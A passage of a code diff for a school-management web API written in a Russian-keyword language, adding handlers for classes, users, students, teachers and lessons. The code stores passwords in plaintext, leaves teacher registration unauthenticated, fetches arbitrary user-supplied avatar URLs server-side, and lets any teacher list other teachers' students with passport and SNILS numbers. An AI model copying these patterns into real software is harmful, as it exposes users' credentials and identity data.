}
вернуть хттп.ответ_201()
}
фн удалить ученика из класса*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
если длина(параметры) < 2 {
вернуть хттп.ответ_400()
}
пусть ид класса = параметры[0]
пусть ид ученика = параметры[1]
пусть клass := джесон.ДжесонМногоЗначений{}
если админ {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ?
`, оплошность, ид класса)
} иначе {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
`, оплошность, ид класса, учитель^.идентификатор)
}
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(клass.значения) = 0 {
вернуть хттп.ответ_403()
}
пусть ответ = картотека.запросить безопасно(`
DELETE FROM class_students
WHERE class_id = ? AND student_id = ?
RETURNING id
`, оплошность, ид класса, ид ученика)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(ответ.значения) = 0 {
вернуть хттп.ответ_404()
}
вернуть хттп.ответ_204()
}
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["GET"], список классов)
маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["POST"], создать клass)
маршрутизатор.добавить маршрут("/api/classes/$", массивы.Строки["DELETE"], удалить клass)
маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["POST"], добавить ученика в клass)
маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["DELETE"], удалить ученика из класса)
вернуть маршрутизатор
}

View File

@@ -0,0 +1,84 @@
модуль пользователи
импорт "стд::вывод"
импорт "исх/строка"
импорт "исх/спринтф"
импорт "исх/массивы"
импорт "исх/сеть/хттп"
импорт "исх/форматы/джесон"
импорт "исх/сеть/хттп/маршрутизатор"
импорт "исх/картотека"
импорт "исх/картотека/репозитории"
импорт "исх/бюрократия"
фн войти*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть картотека = картотека.зайти()
пусть оплошность := ""
пусть данные = джесон.парсить(обращение.туловище, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть имя пользователя := данные.получить("имя пользователя").строка()
пусть пароль := данные.получить("пароль").строка()
пусть пользователь = репозитории.авторизовать пользователя(имя пользователя^, пароль^, оплошность)
если оплошность # "" {
вывод.ф("$стр\n", оплошность)
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
вернуть хттп.ХттпОтвет{
туловище: "Рады видеть вас снова :3"
}
}
фн сменить пароль*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть данные = джесон.парсить(обращение.туловище, оплошность)
если оплошность # "" {
вернуть хттп.ответ_400()
}
пусть новый пароль := данные.получить("новый пароль").строка()
если новый пароль = пусто | новый пароль^ = "" {
вернуть хттп.ответ_422()
}
картотека.запросить безопасно(`
UPDATE users SET password = ? WHERE id = ?
`, оплошность, новый пароль^, пользователь^.идентификатор
)
если оплошность # "" {
вернуть хттп.ответ_500()
}
вернуть хттп.ответ_204()
}
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
маршрутизатор.добавить маршрут("/api/users/login", массивы.Строки["POST"], войти)
маршрутизатор.добавить маршрут("/api/users/password", массивы.Строки["PUT"], сменить пароль)
вернуть маршрутизатор
}

View File

@@ -0,0 +1,381 @@
модуль ученики
импорт "стд::вывод"
импорт "исх/строка"
импорт "исх/спринтф"
импорт "исх/массивы"
импорт "исх/сеть/хттп"
импорт "исх/форматы/джесон"
импорт "исх/сеть/хттп/маршрутизатор"
импорт "исх/картотека"
импорт "исх/картотека/репозитории"
импорт "исх/бюрократия"
фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто {
вернуть хттп.ответ_403()
}
пусть данные = джесон.парсить(обращение.туловище, оплошность)
если оплошность # "" {
вернуть хттп.ответ_400()
}
пусть имя := данные.получить("имя").строка()
пусть фамилия := данные.получить("фамилия").строка()
пусть отчество := данные.получить("отчество").строка()
пусть пароль := данные.получить("пароль").строка()
пусть повтор пароля := данные.получить("повтор пароля").строка()
пусть снилс := данные.получить("снилс").строка()
пусть паспорт := данные.получить("паспорт").строка()
если имя = пусто | фамилия = пусто | отчество = пусто | пароль = пусто | повтор пароля = пусто | снилс = пусто | паспорт = пусто {
вернуть хттп.ответ_400()
}
если имя^ = "" | фамилия^ = "" | отчество^ = "" | пароль^ = "" | повтор пароля^ = "" | снилс^ = "" | паспорт^ = "" {
вернуть хттп.ответ_400()
}
если пароль^ # повтор пароля^ {
вернуть хттп.создать ответ(
хттп.ответ_400(),
хттп.ХттпОтвет{ туловище: "Пароли не совпадают." }
)
}
пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^)
пусть ответ = картотека.запросить безопасно(`
INSERT INTO users (first_name, last_name, middle_name, username, password)
VALUES (?, ?, ?, ?, ?)
RETURNING id
`, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(ответ.значения) = 0 {
вернуть хттп.ответ_500()
}
пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число()
если айди пользователя = пусто {
вернуть хттп.ответ_500()
}
пусть ученик = картотека.запросить безопасно(`
INSERT INTO students (user_id, mentor_id, snils, passport)
VALUES (?, ?, ?, ?)
RETURNING id
`, оплошность,
айди пользователя^.значение,
учитель^.идентификатор,
снилс^,
паспорт^
)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(ученик.значения) = 0 {
вернуть хттп.ответ_500()
}
пусть созданный = ученик.значения[0](:джесон.ДжесонОбъект)
пусть идентификатор ученика = созданный.получить("id").число()
если идентификатор ученика = пусто {
вернуть хттп.ответ_500()
}
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор ученика^.значение } },
джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } },
джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } },
джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } },
джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } },
джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } },
джесон.ДжесонКлючЗначение{ ключ: "учитель", значение: джесон.ДжесонЧисло{ значение: учитель^.идентификатор } },
джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } }
]
})
вернуть хттп.создать ответ(
хттп.ответ_201(),
хттп.ХттпОтвет{ туловище: тело }
)
}
фн список учеников*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
пусть фильтр по учителю := -1
пусть параметр учитель = обращение.запрос-в-пути.найти("учитель")
если параметр учитель # пусто {
пусть номер байта := 0
строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю)
} иначе если ~админ {
фильтр по учителю := учитель^.идентификатор
}
если фильтр по учителю = -1 {
вернуть хттп.ответ_400()
}
пусть найдено = картотека.запросить безопасно(`
SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username
FROM students s
JOIN users u ON u.id = s.user_id
WHERE s.mentor_id = ?
ORDER BY s.id
`, оплошность, фильтр по учителю)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть джесон ученики = джесон.ДжесонМногоЗначений{}
цикл запись среди найдено.значения {
пусть объект = запись(:джесон.ДжесонОбъект)
пусть идентификатор = объект.получить("id").число()
пусть имя = объект.получить("first_name").строка()
пусть фамилия = объект.получить("last_name").строка()
пусть отчество = объект.получить("middle_name").строка()
пусть снилс = объект.получить("snils").строка()
пусть паспорт = объект.получить("passport").строка()
пусть наставник = объект.получить("mentor_id").число()
пусть имя пользователя = объект.получить("username").строка()
пусть студент = джесон.ДжесонОбъект{}
студент.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение })
студент.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ })
студент.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ })
студент.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ })
студент.вставить("снилс", джесон.ДжесонСтрока{ значение: снилс^ })
студент.вставить("паспорт", джесон.ДжесонСтрока{ значение: паспорт^ })
студент.вставить("наставник", джесон.ДжесонЧисло{ значение: наставник^.значение })
студент.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ })
джесон ученики.значения.добавить(студент)
}
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{
ключ: "ученики",
значение: джесон ученики
}
]
})
вернуть хттп.ХттпОтвет{ туловище: тело }
}
фн получить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
если длина(параметры) < 1 {
вернуть хттп.ответ_400()
}
пусть ид ученика = параметры[0]
пусть ученик := джесон.ДжесонМногоЗначений{}
если админ {
ученик := картотека.запросить безопасно(`
SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username
FROM students s
JOIN users u ON u.id = s.user_id
WHERE s.id = ?
`, оплошность, ид ученика)
} иначе {
ученик := картотека.запросить безопасно(`
SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username
FROM students s
JOIN users u ON u.id = s.user_id
WHERE s.id = ? AND s.mentor_id = ?
`, оплошность, ид ученика, учитель^.идентификатор)
}
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(ученик.значения) = 0 {
вернуть хттп.ответ_404()
}
пусть объект = ученик.значения[0](:джесон.ДжесонОбъект)
пусть идентификатор = объект.получить("id").число()
пусть имя = объект.получить("first_name").строка()
пусть фамилия = объект.получить("last_name").строка()
пусть отчество = объект.получить("middle_name").строка()
пусть снилс = объект.получить("snils").строка()
пусть паспорт = объект.получить("passport").строка()
пусть наставник = объект.получить("mentor_id").число()
пусть имя пользователя = объект.получить("username").строка()
если идентификатор = пусто | имя = пусто | фамилия = пусто | отчество = пусто | снилс = пусто | паспорт = пусто | наставник = пусто | имя пользователя = пусто {
вернуть хттп.ответ_500()
}
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор^.значение } },
джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } },
джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } },
джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } },
джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } },
джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } },
джесон.ДжесонКлючЗначение{ ключ: "наставник", значение: джесон.ДжесонЧисло{ значение: наставник^.значение } },
джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя^ } }
]
})
вернуть хттп.ХттпОтвет{ туловище: тело }
}
фн удалить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто {
вернуть хттп.ответ_403()
}
если длина(параметры) < 1 {
вернуть хттп.ответ_400()
}
пусть ид ученика = параметры[0]
пусть удален = картотека.запросить безопасно(`
DELETE FROM students WHERE id = ? AND mentor_id = ?
RETURNING id, user_id
`, оплошность, ид ученика, учитель^.идентификатор)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(удален.значения) = 0 {
вернуть хттп.ответ_404()
}
пусть объект = удален.значения[0](:джесон.ДжесонОбъект)
пусть айди пользователя = объект.получить("user_id").число()
если айди пользователя = пусто {
вернуть хттп.ответ_500()
}
картотека.запросить безопасно(`
DELETE FROM users WHERE id = ?
`, оплошность, айди пользователя^.значение)
если оплошность # "" {
вернуть хттп.ответ_500()
}
вернуть хттп.ответ_204()
}
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
маршрутизатор.добавить маршрут("/api/students", массивы.Строки["POST"], создать)
маршрутизатор.добавить маршрут("/api/students", массивы.Строки["GET"], список учеников)
маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["GET"], получить)
маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["DELETE"], удалить)
вернуть маршрутизатор
}

View File

@@ -0,0 +1,215 @@
модуль учителя
импорт "стд::вывод"
импорт "исх/строка"
импорт "исх/спринтф"
импорт "исх/массивы"
импорт "исх/сеть/хттп"
импорт "исх/форматы/джесон"
импорт "исх/сеть/хттп/маршрутизатор"
импорт "исх/картотека"
импорт "исх/картотека/репозитории"
импорт "исх/бюрократия"
фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть картотека = картотека.зайти()
пусть оплошность := ""
пусть данные = джесон.парсить(обращение.туловище, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть имя := данные.получить("имя").строка()
пусть фамилия := данные.получить("фамилия").строка()
пусть отчество := данные.получить("отчество").строка()
пусть образование := данные.получить("образование").строка()
пусть пароль := данные.получить("пароль").строка()
пусть повтор пароля := данные.получить("повтор пароля").строка()
пусть аватар = данные.получить("аватар").строка()
пусть аватар урл := ""
если имя = пусто | фамилия = пусто | отчество = пусто | образование = пусто | пароль = пусто | повтор пароля = пусто {
вернуть хттп.ответ_400()
}
если имя^ = "" | фамилия^ = "" | отчество^ = "" | образование^ = "" | пароль^ = "" | повтор пароля^ = "" {
вернуть хттп.ответ_400()
}
если пароль^ # повтор пароля^ {
вернуть хттп.создать ответ(
хттп.ответ_400(),
хттп.ХттпОтвет{
туловище: "Пароли не совпадают.",
}
)
}
пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^)
пусть ответ = картотека.запросить безопасно(`
INSERT INTO users (first_name, last_name, middle_name, username, password)
VALUES (?, ?, ?, ?, ?)
RETURNING id
`, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число()
если айди пользователя = пусто {
авария("неверный ответ от базы данных")
}
если аватар # пусто & аватар^ # "" {
пусть урл = хттп.парсить урл(аватар^, оплошность)
если оплошность = "" {
пусть ответ = хттп.послать на три буквы(урл.хост, урл.порт, урл.путь)
пусть размер контента := 0
цикл [номер]заглавие среди ответ.заглавия {
если заглавие.имя = "Content-Length" {
пусть № байта := 0
строка.извлечь цел(заглавие.значение, № байта, размер контента)
прервать
}
}
если размер контента > 0 & размер контента < 1000000 {
аватар урл := аватар^
}
}
}
пусть учитель = картотека.запросить безопасно(`
INSERT INTO teachers (user_id, education, avatar_url)
VALUES (?, ?, ?)
RETURNING id
`, оплошность, айди пользователя^.значение, образование^, аватар урл)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(учитель.значения) = 0 {
вернуть хттп.ответ_500()
}
пусть созданный учитель = учитель.значения[0](:джесон.ДжесонОбъект)
пусть идентификатор учителя = созданный учитель.получить("id").число()
если идентификатор учителя = пусто {
вернуть хттп.ответ_500()
}
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор учителя^.значение } },
джесон.ДжесонКлючЗначение{ ключ: "образование", значение: джесон.ДжесонСтрока{ значение: образование^ } },
джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } },
джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } },
джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } },
джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } }
]
})
вернуть хттп.создать ответ(
хттп.ответ_201(),
хттп.ХттпОтвет{ туловище: тело }
)
}
фн список*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если ~админ {
вернуть хттп.ответ_403()
}
пусть размер страницы := 20
пусть номер страницы := 1
пусть параметр страница = обращение.запрос-в-пути.найти("страница")
если параметр страница # пусто {
пусть номер байта := 0
строка.извлечь цел(параметр страница^.значение, номер байта, номер страницы)
}
если номер страницы < 1 {
вернуть хттп.ответ_400()
}
пусть смещение := (номер страницы - 1) * размер страницы
пусть учителя = картотека.запросить безопасно(`
SELECT t.id, t.user_id, t.education, t.avatar_url,
u.first_name, u.last_name, u.middle_name, u.username
FROM teachers t
JOIN users u ON u.id = t.user_id
ORDER BY t.id
LIMIT ? OFFSET ?
`, оплошность, размер страницы, смещение)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть джесон учителя = джесон.ДжесонМногоЗначений{}
цикл [номер]запись среди учителя.значения {
пусть объект = запись(:джесон.ДжесонОбъект)
пусть идентификатор = объект.получить("id").число()
пусть образование = объект.получить("education").строка()
пусть имя = объект.получить("first_name").строка()
пусть фамилия = объект.получить("last_name").строка()
пусть отчество = объект.получить("middle_name").строка()
пусть имя пользователя = объект.получить("username").строка()
пусть учитель = джесон.ДжесонОбъект{}
если идентификатор # пусто { учитель.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение }) }
если образование # пусто { учитель.вставить("образование", джесон.ДжесонСтрока{ значение: образование^ }) }
если имя # пусто { учитель.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ }) }
если фамилия # пусто { учитель.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ }) }
если отчество # пусто { учитель.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ }) }
если имя пользователя # пусто { учитель.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ }) }
джесон учителя.значения.добавить(учитель)
}
пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{ ключ: "учителя", значение: джесон учителя }
]
})
вернуть хттп.ХттпОтвет{ туловище: туловище }
}
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
маршрутизатор.добавить маршрут("/api/users", массивы.Строки["POST"], создать)
маршрутизатор.добавить маршрут("/api/teachers", массивы.Строки["GET"], список)
вернуть маршрутизатор
}

View File

@@ -0,0 +1,392 @@
модуль уроки
импорт "стд::вывод"
импорт "исх/строка"
импорт "исх/спринтф"
импорт "исх/массивы"
импорт "исх/сеть/хттп"
импорт "исх/форматы/джесон"
импорт "исх/сеть/хттп/маршрутизатор"
импорт "исх/картотека"
импорт "исх/картотека/репозитории"
импорт "исх/бюрократия"
фн добавить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
если длина(параметры) < 1 {
вернуть хттп.ответ_400()
}
пусть ид класса = параметры[0]
пусть клass := джесон.ДжесонМногоЗначений{}
если админ {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ?
`, оплошность, ид класса)
} иначе {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
`, оплошность, ид класса, учитель^.идентификатор)
}
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(клass.значения) = 0 {
вернуть хттп.ответ_403()
}
пусть данные = джесон.парсить(обращение.туловище, оплошность)
если оплошность # "" {
вернуть хттп.ответ_400()
}
пусть дата := данные.получить("дата").строка()
пусть название := данные.получить("название").строка()
пусть домашка := данные.получить("домашнее задание").строка()
пусть строка даты := ""
если дата # пусто {
строка даты := дата^
} иначе {
пусть дата урока поле := данные.получить("дата урока").строка()
если дата урока поле # пусто {
строка даты := дата урока поле^
}
}
пусть строка названия := ""
если название # пусто {
строка названия := название^
} иначе {
пусть тема := данные.получить("тема").строка()
если тема # пусто {
строка названия := тема^
}
}
если строка даты = "" | строка названия = "" {
вернуть хттп.ответ_400()
}
пусть текст домашки := ""
если домашка # пусто {
текст домашки := домашка^
} иначе {
пусть поле домашка = данные.получить("домашка").строка()
если поле домашка # пусто {
текст домашки := поле домашка^
}
}
пусть ответ = картотека.запросить безопасно(`
INSERT INTO lessons (class_id, date, title, homework)
VALUES (?, ?, ?, ?)
RETURNING id, class_id, date, title, homework
`, оплошность, ид класса, строка даты, строка названия, текст домашки)
если оплошность # "" {
вернуть хттп.ответ_422()
}
если длина(ответ.значения) = 0 {
вернуть хттп.ответ_500()
}
пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект)
пусть идентификатор урока = созданный.получить("id").число()^.значение
пусть идентификатор класса = созданный.получить("class_id").число()^.значение
пусть дата урока = созданный.получить("date").строка()^
пусть название урока = созданный.получить("title").строка()^
пусть поле домашки = созданный.получить("homework").строка()
пусть значение домашки := ""
если поле домашки # пусто {
значение домашки := поле домашки^
}
пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор урока}},
джесон.ДжесонКлючЗначение{ключ: "идентификатор класса", значение: джесон.ДжесонЧисло{значение: идентификатор класса}},
джесон.ДжесонКлючЗначение{ключ: "дата", значение: джесон.ДжесонСтрока{значение: дата урока}},
джесон.ДжесонКлючЗначение{ключ: "название", значение: джесон.ДжесонСтрока{значение: название урока}},
джесон.ДжесонКлючЗначение{ключ: "домашнее задание", значение: джесон.ДжесонСтрока{значение: значение домашки}}
]
})
вернуть хттп.создать ответ(
хттп.ответ_201(),
хттп.ХттпОтвет{туловище: туловище}
)
}
фн список уроков*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
если длина(параметры) < 1 {
вернуть хттп.ответ_400()
}
пусть ид класса = параметры[0]
пусть фильтр дата := ""
пусть есть фильтр := ложь
если длина(параметры) > 1 {
фильтр дата := параметры[1]
есть фильтр := истина
}
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть ученик = репозитории.пользователь ученик(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть данные класса = картотека.запросить безопасно(`
SELECT id, creator_teacher_id FROM classes WHERE id = ?
`, оплошность, ид класса)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(данные класса.значения) = 0 {
вернуть хттп.ответ_404()
}
пусть объект класса = данные класса.значения[0](:джесон.ДжесонОбъект)
пусть поле создателя = объект класса.получить("creator_teacher_id").число()
пусть идентификатор создателя: Цел64 := -1
пусть есть создатель := ложь
если поле создателя # пусто {
идентификатор создателя := поле создателя^.значение
есть создатель := истина
}
пусть учитель имеет доступ := ложь
если админ {
учитель имеет доступ := истина
}
если учитель # пусто {
если есть создатель {
если учитель^.идентификатор = идентификатор создателя {
учитель имеет доступ := истина
}
}
}
если ~ учитель имеет доступ {
если ученик = пусто {
вернуть хттп.ответ_403()
}
пусть проверка ученика = картотека.запросить безопасно(`
SELECT id FROM class_students WHERE class_id = ? AND student_id = ?
`, оплошность, ид класса, ученик^.идентификатор)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(проверка ученика.значения) = 0 {
вернуть хттп.ответ_403()
}
}
пусть уроки ответ: джесон.ДжесонМногоЗначений := джесон.ДжесонМногоЗначений{}
если есть фильтр {
уроки ответ := картотека.запросить безопасно(`
SELECT id, class_id, date, title, homework
FROM lessons
WHERE class_id = ? AND date = ?
ORDER BY date, id
`, оплошность, ид класса, фильтр дата)
} иначе {
уроки ответ := картотека.запросить безопасно(`
SELECT id, class_id, date, title, homework
FROM lessons
WHERE class_id = ?
ORDER BY date, id
`, оплошность, ид класса)
}
если оплошность # "" {
вернуть хттп.ответ_500()
}
пусть джесон уроки = джесон.ДжесонМногоЗначений{}
цикл [номер]запись среди уроки ответ.значения {
пусть объект = запись(:джесон.ДжесонОбъект)
пусть идентификатор = объект.получить("id").число()^.значение
пусть ид класса урока = объект.получить("class_id").число()^.значение
пусть дата урока = объект.получить("date").строка()^
пусть название урока = объект.получить("title").строка()^
пусть поле домашки = объект.получить("homework").строка()
пусть значение домашки := ""
если поле домашки # пусто {
значение домашки := поле домашки^
}
пусть урок = джесон.ДжесонОбъект{}
урок.вставить("идентификатор", джесон.ДжесонЧисло{значение: идентификатор})
урок.вставить("идентификатор класса", джесон.ДжесонЧисло{значение: ид класса урока})
урок.вставить("дата", джесон.ДжесонСтрока{значение: дата урока})
урок.вставить("название", джесон.ДжесонСтрока{значение: название урока})
урок.вставить("домашнее задание", джесон.ДжесонСтрока{значение: значение домашки})
джесон уроки.значения.добавить(урок)
}
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
